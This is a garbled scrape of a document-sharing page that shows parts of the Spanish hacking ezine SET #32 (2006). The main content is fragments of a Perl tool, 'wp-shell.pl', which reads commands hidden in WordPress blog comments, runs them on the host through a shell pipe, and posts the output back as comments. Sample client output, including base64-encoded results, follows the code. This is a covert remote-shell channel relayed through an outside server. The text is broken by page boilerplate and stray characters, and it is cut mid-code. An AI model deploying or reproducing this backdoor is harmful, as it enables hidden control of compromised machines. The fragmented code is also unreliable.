Mmmu... `"##b. `###b ^##b .mmmm. Mmmmmmmmmm
-
Rating
-
Date
September 2018 -
Size
802.3KB -
Views
8,631 -
Categories
Preview only show first 6 pages with water mark for full document please download
Transcript
. .mmmm. "#. . `# #b. " "###e. `"##u `#b #b. ## ##u. #P "" " mmmmmmmmmm ## . # #mmmmmmmm ## .d' u# d#P .## :## :##b # ###. #________ ###. """""""## "##o. "" "###o.. `"####oou......... ``""""""'' -==mmmu... `"##b. `###b ^##b mmmmmmmmmmmmm ##b ## ##: `## ## ## ## ## ## #P ## dP ## .P ## ." ## ## Saqueadores Edicion Tecnica INFORMACION LIBRE PARA GENTE LIBRE SET #32 - Febrero de 2006 -------------------------------- ------------------------------------| | | ---[ EDITORIAL ]---------------| | | | SET Ezine | | | | Disponible en: | | http://www.set-ezine.org | | | | Mirrors: | | http://www.zine-store.com.ar | | http://qaldune.freeownhost.com | | http://www.hackemate.com.ar/ezines/set/ | | (¡version online!, pendiente de actualizar) | | | | Contacto: | |- 6[/&RF
- 6[/&RF
introducidos por Wordpress hay que quitarlos $resultado =~ s#
##g; print "\033[0;36;40m". descodificar($resultado) ."\033[0m"; } else { $resultado = ""; } sleep(5); $cont++; } $resultado = ""; $contador++; $cont = 0; } } } ## descargar # descarga una pagina web solicitada sub descargar { my ($helburu_url) = @_; # Creamos la araña o user-agent web $cabeceras = new HTTP::Headers(Accept => 'text/plain'); $url = new URI::URL($helburu_url); $peticion = new HTTP::Request(GET, $url, $cabeceras); $peticion->referer($referer); $arana = new LWP::UserAgent; $arana->agent($agente); $respuesta = $arana->request($peticion); print "wp-shell> GET $helburu_url ...\n"; ## Respuesta del servidor if ($respuesta->is_success) {# en caso de tener exito print "wp-shell> Respuesta del servidor: \n"; return $respuesta->content; } else { # en caso contrario return $respuesta->message; # Sal de la funcion } } # Busqueda de determinado comentario en el blog # Esta funcion es crucial y si varia el formato de XHTML de wordpress # habria que ajustarla sub busqueda { my ($html, $cont, $clave) = @_; my $resultado1 = ""; my $resultado2 = ""; $clave = $clave . $cont; print "Buscando cadena [".$cont. "[" . $clave . "]" . $prompt ."]\n"; $_ = $html; s/\s//g; ($resultado1,$resultado2) = m#${clave}(.*?)
\s*(.*?)\s*
#m; if ( defined($resultado2) && $resultado2 ne "") { print "Resultado: [" . $resultado1 . "] y [" . $resultado2 . "]\n"; return $resultado2; } else { return ""; } } # Funcion para postear comentarios en el BLOG sub post { my ($author, $email, $url, $comment) = @_; my $content = ""; print "\nVamos alla " . $direccion_post . " \n"; $ua = LWP::UserAgent->new(); my $req = POST $direccion_post,[ author => $author, email => $email, url => $url, comment => $comment , comment_post_ID => $identrada]; $content = $ua->request($req)->as_string; print "\nRespuesta\n " . $content . " \n"; return $content; } # Funcion para ejecutar los comandos que retorna el resultado sub ejecutar { my ($comando_solicitado) = @_; my $output_comando = ""; print "[Comando solicitado: $comando_solicitado ]\n"; open(COMANDO,"$comando_solicitado|"); while(aH RtbAotcnd4ci14ci14ICAxIHJvb3Qgcm9vdCAgOTg1IEp1bCAyNSAxMjo0OCB0ZXN0LnBsCi1y
d3hyL XhyLXggIDEgcm9vdCByb290IDcuMUsgSnVsIDI3IDAwOjExIHdwLXNoZWxsLnBsCg==] total 20K -rw-r--r-- 1 root root 7.9K Jul 25 12:20 test.html -rwxr-xr-x 1 root root 985 Jul 25 12:48 test.pl -rwxr-xr-x 1 root root 7.1K Jul 27 00:11 wp-shell.pl wp-shell@http://10.0.0.3/wordpress/?p=6 [1]> [LO QUE VERIAMOS EN LA PARTE CLIENTE] linux# ./wp-shell.pl http://10.0.0.3/wordpress/?p=6 bezero wp-shell - OK helburua http://10.0.0.3/wordpress/?p=6 eta id 6 Post helbidea: http://10.0.0.3/wordpress/wp-comments-post.php [A la espera... ] wp-shell> GET http://10.0.0.3/wordpress/?p=6 ... wp-shell> Respuesta del servidor: [0[http://wp-shell.com/0]] [No hay nuevos comandos...] [A la espera... ] wp-shell> GET http://10.0.0.3/wordpress/?p=6 ... wp-shell> Respuesta del servidor: [0[http://wp-shell.com/0]] Emaitza: ['rel='externalnofollow'>MaixuaSays: